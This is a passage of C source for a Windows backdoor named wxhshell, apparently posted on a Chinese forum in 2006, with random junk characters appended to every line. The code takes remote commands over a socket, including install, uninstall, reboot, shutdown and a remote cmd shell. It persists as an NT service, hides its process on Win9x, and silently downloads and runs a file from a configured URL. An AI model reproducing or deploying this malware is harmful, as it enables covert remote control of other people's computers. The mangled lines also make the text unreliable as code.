  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PQ<""_S||  
  } [MdVgJ9'  
  else { VmHok  
uDay||7^g  
    switch(cmd[0]) { ! pR&&uG  
  Uc>kCBCd  
  // 帮助 Ovv~ymj  
  case '?': { $IA(QC_]AO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %RG kXOgp  
    break; 9TBkVbqV  
  } c^><^LGb  
  // 安装 fAm^-uq[  
  case 'i': { rQ(Aj  
    if(Install()) H ifKa/}P8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GL_YT.(!  
    else w&hgJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ij` %'/J  
    break; E?z3 D*U  
    } tisSj?+  
  // 卸载 9cp-Rw<tI  
  case 'r': { vP`Sz}FU  
    if(Uninstall()) %B}Q.'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x :\+{-  
    else rCGXHbj%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9+ nB;vA  
    break; x2=Bu#Y  
    } Qn(2UO!pD  
  // 显示 wxhshell 所在路径 /W1!mih  
  case 'p': { dIg/g~ t"  
    char svExeFile[MAX_PATH]; kfr' P u  
    strcpy(svExeFile,"\n\r"); <k!M+}a 9V  
      strcat(svExeFile,ExeFile); &a5UQ>  
        send(wsh,svExeFile,strlen(svExeFile),0); 8=CdO|XV  
    break; "s]r"(MX  
    } 1K?RA*aj  
  // 重启 5. 5<.")  
  case 'b': { b3F)$UQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); EudX^L5U<d  
    if(Boot(REBOOT)) AD K)p?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E-IVv  
    else { fqrQ1{%UH  
    closesocket(wsh); mivb}cKM  
    ExitThread(0); s!,m,l[P  
    } FlGU1%]m  
    break; 3n;>k9{  
    } i0Ejo;dB  
  // 关机 d-c<dS+R  
  case 'd': { /Cy4]1dw  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bCMo8Xh  
    if(Boot(SHUTDOWN)) :No`+X[Kq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X-LCIT|1  
    else { x1]J  
    closesocket(wsh); m%m<-.'-  
    ExitThread(0); ]l4\Tdz  
    } ~MWI-oK  
    break; pHQrjEF*  
    } fwQVxJe  
  // 获取shell ypU-/}Cf,  
  case 's': { #1*#3p9UL  
    CmdShell(wsh); m%zo? e  
    closesocket(wsh); 5~D(jHY;  
    ExitThread(0); RO+ jVY~H-  
    break; (P!r^87  
  } /pY-how%!  
  // 退出 OQW%nF9~  
  case 'x': { m)AF9#aT2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (#kKL??W  
    CloseIt(wsh); #($~e|  
    break; aVB/Co M9  
    } ;~D$ rT  
  // 离开 {p\ll  
  case 'q': { )<Fq}Q86  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {wy{L-X  
    closesocket(wsh); :HW| mqKd  
    WSACleanup(); T@wgWE<0y_  
    exit(1); m)7Ql!l  
    break; Az7 ] qb  
        } yPrF2@#XZ/  
  } d1P|v( `S9  
  } U$yy7}g  
IR2=dQS  
  // 提示信息 hrNB"W|?x  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NSawD.9mV  
}  `j1oxJm  
  } gY'-C  
|v:oLgUdH  
  return; lArKfs/   
} Gv[s86AP,  
SR$ 'JGfp  
// shell模块句柄 ;,8 )%[  
int CmdShell(SOCKET sock) cX!C/`ew>  
{ @)\4 $#+-  
STARTUPINFO si; m"@o  
ZeroMemory(&si,sizeof(si)); VV;%q3}:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wz'=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }?\^^v h7  
PROCESS_INFORMATION ProcessInfo; (xfh 9=.  
char cmdline[]="cmd"; JM1O7I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5cGQ`l  
  return 0; fat;5XL@  
} @U3:9~Q  
v,C~5J3h)  
// 自身启动模式 Ur]/kij  
int StartFromService(void) l A%FS]vh  
{ 2X<%BFsE  
typedef struct `Of D^Q=  
{ c]h@<wnv  
  DWORD ExitStatus; j7U&a}(  
  DWORD PebBaseAddress; QChncIqc  
  DWORD AffinityMask; d~AL4~}  
  DWORD BasePriority; g<@Q)p*ow  
  ULONG UniqueProcessId; ,z<1:st]<  
  ULONG InheritedFromUniqueProcessId; [GPCd@  
}   PROCESS_BASIC_INFORMATION; HKr}"`I.  
iciKjXJ :  
PROCNTQSIP NtQueryInformationProcess; #i .,+Q  
,-hbwd~M  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )Gavjj&uJ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; x3g4r_  
~o#mX?'7  
  HANDLE             hProcess; w >2sr^!y  
  PROCESS_BASIC_INFORMATION pbi; ?2l `%l5(  
 =n5n  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9/! 1J  
  if(NULL == hInst ) return 0; tAE(`ow/Ur  
y=c={Qz@vn  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k_{?{:X;y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mogmr  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0^R, d M  
0PqI^|!  
  if (!NtQueryInformationProcess) return 0; ~;?<OOt|wG  
 od{\z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `3 i<jZMG  
  if(!hProcess) return 0; {g#4E0.A!  
[al$sCD]+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8q%y(e  
^~I@]5Pq  
  CloseHandle(hProcess); J,:&U wkv  
5?F5xiW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); mE`qA*=?  
if(hProcess==NULL) return 0; u -P !2vT  
nX 9]dz  
HMODULE hMod; =qc+sMo  
char procName[255]; ~x!up 9  
unsigned long cbNeeded; g\fj6  
Lj(cCtb)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (bQ3:%nD  
iX6>u4~(  
  CloseHandle(hProcess); ) PTvw>  
7]xDMu'^&f  
if(strstr(procName,"services")) return 1; // 以服务启动 V0v,s^\H  
^e_LnJ+  
  return 0; // 注册表启动 8k95IJR1  
} Jr( =Y@Z '  
?T2>juf]5~  
// 主模块 t$z[ ja=  
int StartWxhshell(LPSTR lpCmdLine) Nw'03Jzx_  
{ g/JF(nkP  
  SOCKET wsl; <M@-|K"Eb  
BOOL val=TRUE; ^APtV6g  
  int port=0; {?eUAB<  
  struct sockaddr_in door; z'"7zLQ  
#M16qOEw  
  if(wscfg.ws_autoins) Install(); (_zlCHB  
HKXC=^}x'  
port=atoi(lpCmdLine); L)bMO8JH~m  
]~I+d/k d  
if(port<=0) port=wscfg.ws_port; )Q'E^[Ua  
lb. Q^TghU  
  WSADATA data; ^sD M>OHp  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ZrTB%  
W~'xJ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   IibrZ/n6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [|OII!"  
  door.sin_family = AF_INET; xKG7d8=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &)mZ~cPU3  
  door.sin_port = htons(port); t\K (zE  
din,yHu~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &rBe -52  
closesocket(wsl); cK+TE8ao  
return 1; J+`aj8_B  
} MqnUym  
qT@h/Y  
  if(listen(wsl,2) == INVALID_SOCKET) { v 49o$s4J  
closesocket(wsl); TC?B_;a  
return 1; K:a8}w>Up  
} Cy]=Y  
  Wxhshell(wsl); vd4@jZ5  
  WSACleanup(); tp] 5[U  
TlS? S+  
return 0; |#@7$#j  
NS[eQ_rT  
} A)&FcMO*z  
Mj MDD  
// 以NT服务方式启动 G%erh}0~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ( 2HM "Pd  
{ .>B'oD  
DWORD   status = 0; N `|A  
  DWORD   specificError = 0xfffffff; by@KdQow  
);gY8UL^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^3$l!>me  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r%PWv0z_c  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7AV{ h[J  
  serviceStatus.dwWin32ExitCode     = 0; =X4Fn^w"4O  
  serviceStatus.dwServiceSpecificExitCode = 0; 9(N  
  serviceStatus.dwCheckPoint       = 0; fjRVYOG#  
  serviceStatus.dwWaitHint       = 0; ?G,4N<]Nu  
_uQ]I^'D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +`HMl;0m  
  if (hServiceStatusHandle==0) return; :jiuu@<  
p R'J4~  
status = GetLastError(); ~Ru\Z-q1  
  if (status!=NO_ERROR) kamQZzPe  
{ U**8^:*y#:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Bu{Kjv  
    serviceStatus.dwCheckPoint       = 0; 2LwJ%!  
    serviceStatus.dwWaitHint       = 0; -tg|y  
    serviceStatus.dwWin32ExitCode     = status; (;l@d|g  
    serviceStatus.dwServiceSpecificExitCode = specificError; E3uu vQ#|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); lMFR_g?r  
    return; NIV}hf YF  
  } .@VZ3"  
o<Zlm)"%1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; g&$=Y7G  
  serviceStatus.dwCheckPoint       = 0; \OwF!~&  
  serviceStatus.dwWaitHint       = 0; VgH O&vU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &6x(%o|  
} ^Oz~T|)  
cJo%j -AM  
// 处理NT服务事件,比如:启动、停止 aCG rS{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?:;;0kSk  
{ V?{d<Ng~J  
switch(fdwControl) #1<m\z7l  
{ [b++bCH3  
case SERVICE_CONTROL_STOP: B7 %,D}  
  serviceStatus.dwWin32ExitCode = 0; \*$^}8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; X7*F~LFr j  
  serviceStatus.dwCheckPoint   = 0; :U?g']`Z##  
  serviceStatus.dwWaitHint     = 0; LqWiw24#  
  { 6FB 0g8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S2$E`' J  
  } z$1RD)TQB  
  return; (?qCtLZ  
case SERVICE_CONTROL_PAUSE: h"`\'(,X  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;8]HCC@:  
  break; '.Y,VJaL  
case SERVICE_CONTROL_CONTINUE: Wmbc `XC  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ic/hVKYG5  
  break; R$:-~<O  
case SERVICE_CONTROL_INTERROGATE: G@7^M}  
  break; FQWjL>NB  
}; *l_a=[<[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4E''pW]8  
} C @Ts\);^  
7U [C=NL  
// 标准应用程序主函数 4&*lpl*N  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2Io| ?  
{ a ,mgM&yD  
7?fgcb3  
// 获取操作系统版本 ,+i^]yF3j  
OsIsNt=GetOsVer(); 7'wpPXdY1  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  ^*P?gG  
01n!T2;yW}  
  // 从命令行安装 lU1SN/'zx  
  if(strpbrk(lpCmdLine,"iI")) Install(); e@hPb$7  
:DH@zR  
  // 下载执行文件 `gl?y;xC  
if(wscfg.ws_downexe) { yCjc5d|tT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e#}t am  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2f(`HSC'  
} f} c;s  
?O 25k!7  
if(!OsIsNt) { i@/%E~W  
// 如果时win9x,隐藏进程并且设置为注册表启动 *JOK8[Qn  
HideProc(); 1RkN^FZOxq  
StartWxhshell(lpCmdLine); Trirb'qO  
} m-{DhJV  
else NZGO8u  
  if(StartFromService()) h%j4(v}r{C  
  // 以服务方式启动 BFNO yv  
  StartServiceCtrlDispatcher(DispatchTable); ,88B@a  
else dz#"9i5b  
  // 普通方式启动 oCo~,~kTR  
  StartWxhshell(lpCmdLine); .\ bJ,of9  
dO D(<  
return 0; lr&2,p<  
}
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只看该作者 1 发表于: 2006-10-10
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